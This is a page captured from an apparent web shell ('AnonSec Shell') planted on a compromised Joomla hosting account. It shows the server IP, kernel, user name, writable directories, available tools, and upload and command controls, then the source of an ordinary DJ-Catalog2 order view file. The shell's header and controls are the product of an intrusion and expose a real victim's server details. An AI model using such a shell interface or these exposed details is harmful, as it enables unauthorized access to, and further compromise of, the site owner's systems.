AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/pornic/components/com_djcatalog2/views/order/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/pornic/components/com_djcatalog2/views/order/view.html.php
<?php
/**
 * @package DJ-Catalog2
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 *
 */

defined ('_JEXEC') or die('Restricted access');
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;
use Joomla\Registry\Registry;

jimport('joomla.application.component.view');
jimport('joomla.html.pagination');

class DJCatalog2ViewOrder extends HtmlView {

	public function __construct($config = array())
	{
		parent::__construct($config);
		$this->_addPath('template', JPATH_ROOT.'/components/com_djcatalog2'.  '/themes/default/views/order');
		$theme = DJCatalog2ThemeHelper::getThemeName();
		if ($theme && $theme != 'default') {
			$this->_addPath('template', JPATH_ROOT.'/components/com_djcatalog2'.  '/themes/'.$theme.'/views/order');
		}
	}

	public function display($tpl = null)
	{
		$app = Factory::getApplication();
		$user = Factory::getUser();

		$this->params = Djcatalog2Helper::getParams();

		$this->state = $this->get('State');
		$this->item = $this->get('Item');

		if (empty($this->item)) {
			throw new Joomla\CMS\MVC\View\GenericDataException(Text::_('COM_DJCATALOG2_ORDER_NOT_FOUND'), 404);
		}

		$token = (string)$app->getUserStateFromRequest('com_djcatalog2.order.token', 'token', null, 'string');
		$salesman = $user->authorise('djcatalog2.salesman', 'com_djcatalog2');

		$auth = false;
		$authSalesman = false;

		if ($this->item->token && strcmp($token, (string)$this->item->token) === 0 ) {
			$auth = true;
		} else {
			if ($salesman) {
				$vendor = DJCatalog2helper::getVendor();
				if ($vendor) {
					$userIds = Djcatalog2Helper::getVendorUsers(null, true);
					if (count($userIds)) {
						$authSalesman = (bool)(in_array($this->item->user_id, $userIds));
					} else {
						$authSalesman = true;
					}
				}
			}
			$auth = (bool)($user->id == $this->item->user_id && $user->id);
		}

		if (!$auth && !$authSalesman) {
			if ($user->guest && !$token) {
				$return_url = base64_encode(DJCatalogHelperRoute::getOrderRoute($this->item->id));
				$app->enqueueMessage(Text::_('COM_DJCATALOG2_PLEASE_LOGIN'));
				$app->redirect(Route::_('index.php?option=com_users&view=login&return='.$return_url, false), 303);
				return true;
			} else {
				throw new Joomla\CMS\MVC\View\GenericDataException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
			}
		}

		$this->items = $this->item->items;

		// Check for errors.
		if (count($errors = $this->get('Errors'))) {
			throw new Joomla\CMS\MVC\View\GenericDataException(implode("\n", $errors), 500);
			return false;
		}

		$dispatcher = Joomla\CMS\Factory::getApplication()->getDispatcher();
		$db = Factory::getDbo();

		PluginHelper::importPlugin('djcatalog2payment');
		PluginHelper::importPlugin('djcatalog2delivery');

		$deliveryObject = $paymentObject = $deliveryPlg = $paymentPlg = false;

		if (!empty($this->item->delivery_method_id)) {
			$db->setQuery('select * from #__djc2_delivery_methods where id='.(int)$this->item->delivery_method_id);
			if ($deliveryObject = $db->loadObject()) {
				$params = new Registry();
				$params->loadString($deliveryObject->params, 'JSON');
				$deliveryObject->params = $params;
				$deliveryPlg = PluginHelper::getPlugin('djcatalog2delivery', $deliveryObject->plugin);
			}
		}

		if (!empty($this->item->payment_method_id)) {
			$db->setQuery('select * from #__djc2_payment_methods where id='.(int)$this->item->payment_method_id);
			if ($paymentObject = $db->loadObject()) {
				$params = new Registry();
				$params->loadString($paymentObject->params, 'JSON');
				$paymentObject->params = $params;
				$paymentPlg = PluginHelper::getPlugin('djcatalog2payment', $paymentObject->plugin);
			}
		}


		$deliveryRes = (!empty($deliveryObject)) ? Joomla\CMS\Factory::getApplication()->triggerEvent('onDJC2OrderDetailsDisplay', array('com_djcatalog2.order.delivery', $this->item, $deliveryObject)) : array();
		$paymentRes = (!empty($paymentObject)) ? Joomla\CMS\Factory::getApplication()->triggerEvent('onDJC2OrderDetailsDisplay', array('com_djcatalog2.order.payment', $this->item, $paymentObject)) : array();
		$this->delivery_info = trim(implode("", $deliveryRes));
		$this->payment_info = trim(implode("", $paymentRes));

		$this->delivery_method = $deliveryObject;
		$this->payment_method = $paymentObject;

		if ($app->input->get('pdf') == '1' && $app->input->get('tmpl') == 'component' && $this->getLayout() == 'print') {

			if (File::exists(JPath::clean(JPATH_ROOT.'/libraries/dompdf/dompdf_config.inc.php')) == false) {
				throw new Exception('DOMPDF Libary is missing!');
			}

			$this->_preparePDF();

			$app->close();
			return true;
		}

		if ($this->getLayout() == 'rating') {
			$user = Factory::getUser();

			if ($user->guest) {
				$return_url = base64_encode(DJCatalogHelperRoute::getOrderRoute($this->item->id).'&layout=rating');
				$app->enqueueMessage(Text::_('COM_DJCATALOG2_PLEASE_LOGIN'));
				$app->redirect(Route::_('index.php?option=com_users&view=login&return='.$return_url, false), 303);
				return true;
			}

			$this->rating_items = false;

			$invoiceStatuses = (array)$this->params->get('cart_status_invoice',  array('C', 'P', 'F'));
			if (in_array($this->item->status, $invoiceStatuses)) {
				$item_ids = [];
				foreach($this->items as $item) {
					if ($item->item_type != 'item') continue;
					//if (Djcatalog2HelperRating::canVote($item->item_id) == false) continue;
					$item_ids[] = $item->item_id;
				}
				if (count($item_ids)) {
					$item_ids = array_unique($item_ids);
					$itemsModel = BaseDatabaseModel::getInstance('Items', 'DJCatalog2Model', ['ignore_request' => true]);
					$itemsModel->setState('filter.item_ids', $item_ids);
					$this->rating_items = $itemsModel->getItems();
				}
			}
		}

		$this->_prepareDocument();

		parent::display($tpl);
	}

	protected function _prepareDocument() {
		$app		= Factory::getApplication();
		$menus		= $app->getMenu();
		$pathway	= $app->getPathway();
		$title		= null;
		$heading		= null;

		$menu = $menus->getActive();
		$menu_query = (!empty($menu->query)) ? $menu->query : array();
		$option = (!empty($menu_query['option'])) ? $menu_query['option'] : null;
		$view = (!empty($menu_query['view'])) ? $menu_query['view'] : null;

		$this->params->set('page_heading', Text::sprintf('COM_DJCATALOG2_ORDER_HEADING', $this->item->order_number));

		$title = Text::sprintf('COM_DJCATALOG2_ORDER_HEADING', $this->item->order_number);

		if ($this->getLayout() == 'rating') {
			$title = Text::_('COM_DJCATALOG2_ORDER_ITEMS_RATING_HEADING');
			$this->params->set('page_heading', $title);
		}

		if ($app->getCfg('sitename_pagetitles', 0)) {
			if ($app->getCfg('sitename_pagetitles', 0) == '2') {
				$title = Text::sprintf('JPAGETITLE', $title, $app->getCfg('sitename'));
			} else {
				$title = Text::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title);
			}
		}

		$this->document->setTitle($title);
	}

	protected function _preparePDF() {
		if (!defined('DOMPDF_ENABLE_REMOTE'))
		{
			define('DOMPDF_ENABLE_REMOTE', true);
		}

		$config = Factory::getConfig();
		$document = Factory::getDocument();

		$document->setMimeEncoding('application/pdf');

		if (!defined('DOMPDF_FONT_CACHE'))
		{
			define('DOMPDF_FONT_CACHE', $config->get('tmp_path'));
		}

		if (!defined('DOMPDF_DEFAULT_FONT'))
		{
			define('DOMPDF_DEFAULT_FONT', 'DejaVuSans');
		}

		require_once JPath::clean(JPATH_ROOT.'/libraries/dompdf/dompdf_config.inc.php');

		if(ini_get('zlib.output_compression')) {
			ini_set('zlib.output_compression', 'Off');
		}

		$pdf =new DOMPDF();

		ob_start();
		parent::display(null);
		$body = ob_get_contents();
		ob_end_clean();

		$document->_scripts = array();
		$document->_script = array();

		$head = '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>'; //$document->getBuffer('head');

		$data = '<html><head>'.$head.'</head><body style="font-family: firefly, DejaVu Sans, sans-serif !important;">'.$body.'</body></html>';

		DJCatalog2HtmlHelper::setFullPaths($data);

		$pdf->load_html($data);
		$pdf->render();
		$pdf->stream(File::makeSafe($this->item->order_number) . '.pdf');
	}

}





Anon7 - 2022
AnonSec Team